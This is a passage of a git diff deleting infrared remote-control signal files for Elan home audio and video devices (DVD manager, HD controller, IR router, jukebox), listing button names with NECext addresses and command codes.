-address: 63 00 00 00 -command: E8 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 63 00 00 00 -command: E9 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 63 00 00 00 -command: EB 00 00 00 -# -name: DEFAULT_O/P -type: parsed -protocol: NECext -address: 63 00 00 00 -command: EC 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 63 00 00 00 -command: ED 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 63 00 00 00 -command: EE 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 63 00 00 00 -command: EF 00 00 00 -# -name: OUTPUT -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F0 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F1 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F2 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F3 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F4 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F5 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F6 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F7 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F8 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: 63 00 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir deleted file mode 100644 index de478c6d7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/DVD Manager/15,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 09 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0B 00 00 00 -# -name: NEW_CODE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0B 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0C 00 00 00 -# -name: CHANGER_OUTPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0D 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0E 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 0F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 11 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 12 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 17 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 18 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 19 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1A 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1B 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1C 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 1D 00 00 00 -# -name: FFW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 20 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 21 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir deleted file mode 100644 index 9b4230a22..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/0,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: DND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: BASS+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: TREBLE+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: BASS- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir deleted file mode 100644 index 7f1f5a148..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/1,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: ON_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: ON_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: ON_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: ON_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: ON_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: ON_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: ON_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: ON_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: ON_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: ON_A -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: ON_B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: ON_C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: ON_D -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: ON_E -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: ON_F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: ON_G -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: WH_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: ON_H -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: ON_I -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: ON_J -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: ON_ELAN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: ON_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: ON_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: ON_DND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: OFF_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: OFF_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: OFF_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 22 00 00 00 -# -name: OFF_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 23 00 00 00 -# -name: OFF_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: OFF_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: OFF_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: OFF_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: OFF_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: OFF_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: OFF_A -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2A 00 00 00 -# -name: OFF_B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: OFF_C -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2C 00 00 00 -# -name: OFF_D -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: OFF_E -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: OFF_F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: OFF_G -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: WH_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: OFF_H -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: OFF_I -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: OFF_J -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: OFF_ELAN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: OFF_PWR -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 39 00 00 00 -# -name: OFF_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: OFF_DND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir deleted file mode 100644 index 9eff5893a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/2,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir deleted file mode 100644 index eb092a054..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/4,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SOURCE_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0D 00 00 00 -# -name: FAST_FWD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: ACCOUSTIC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: G -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: H -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: J -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 22 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 23 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 25 00 00 00 -# -name: *__MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 26 00 00 00 -# -name: *__SKIP_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 27 00 00 00 -# -name: *__SKIP_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: *__PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: *__STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: *__CHAN_+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2D 00 00 00 -# -name: *__CHAN_- -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2E 00 00 00 -# -name: *__RECALL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2F 00 00 00 -# -name: *__ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: *__TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: *__ELAN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir deleted file mode 100644 index 7d3098259..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/HD/5,-1.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: *__0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: *__1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: *__2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: *__3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: *__4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: *__5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: *__6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: *__7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: *__8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: *__9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: TUNER-_INPUT1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: SRC_1_(TUNER) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: CD_INPUT2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: SRC_2_(CD) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: TAPE-_INPUT3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: SRC_3_(TAPE_1) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 22 00 00 00 -# -name: VCR-_INPUT4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: SRC_4_(VCR_1) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 23 00 00 00 -# -name: LASER_-_INPUT5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: SRC_5_(LASER_DISC) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 24 00 00 00 -# -name: CABLE -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 27 00 00 00 -# -name: AUX_1-_INPUT6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: SRC_6_(AUX_1) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 28 00 00 00 -# -name: AUX_2-INPUT7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: SRC_7_(AUX_2) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: AUX_3-INPUT8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: SRC_8_(AUX_3) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2A 00 00 00 -# -name: AUX4-INPUT9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: SRC_9_(AUX_4) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2B 00 00 00 -# -name: AUX5-INPUT10 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: SRC_10_(AUX_5) -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2C 00 00 00 -# -name: DBS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 2E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir deleted file mode 100644 index 6b05b5817..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/1,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ALL_PORTS_ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: ALL_PORTS_OFF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir deleted file mode 100644 index a08098184..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/IR Router/2,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: 2_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: 3_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: 4_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: 5_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 04 00 00 00 -# -name: 6_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 05 00 00 00 -# -name: 7_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: 8_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 07 00 00 00 -# -name: 9_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: 10_0N -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 09 00 00 00 -# -name: 11_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: 12_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0B 00 00 00 -# -name: 13_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0C 00 00 00 -# -name: 14_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0D 00 00 00 -# -name: 15_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0E 00 00 00 -# -name: 16_ON -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: 1_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 2_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 3_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: 4_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 5_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 6_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: 7_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: 8_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: 9_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: 10_0FF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: 11_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1A 00 00 00 -# -name: 12_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1B 00 00 00 -# -name: 13_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1C 00 00 00 -# -name: 14_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1D 00 00 00 -# -name: 15_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1E 00 00 00 -# -name: 16_OFF -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir deleted file mode 100644 index 62f2e664d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Jukebox/96,-1.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 12_NOW_PLAYING -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 81 00 00 00 -# -name: 1_UP/REPEAT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 86 00 00 00 -# -name: 2_DOWN/SHUFFLE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 87 00 00 00 -# -name: 4_LIBRARY/MENU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 88 00 00 00 -# -name: 6_SKIP- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 89 00 00 00 -# -name: 8_PAUSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8A 00 00 00 -# -name: 10_SKIP+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8B 00 00 00 -# -name: 5_X_HIDE/BACK -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8E 00 00 00 -# -name: 7_DISPLAY/X_REMOVE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8F 00 00 00 -# -name: 9_STOP/I_CLEAR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 90 00 00 00 -# -name: 11_PLAY/SELECT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 91 00 00 00 -# -name: 3_I_VIEW/ALPHA -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 94 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir deleted file mode 100644 index 479a9b2a1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Elan/Master Controller/0,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: DND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: BASS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: TREBLE_+ -type: 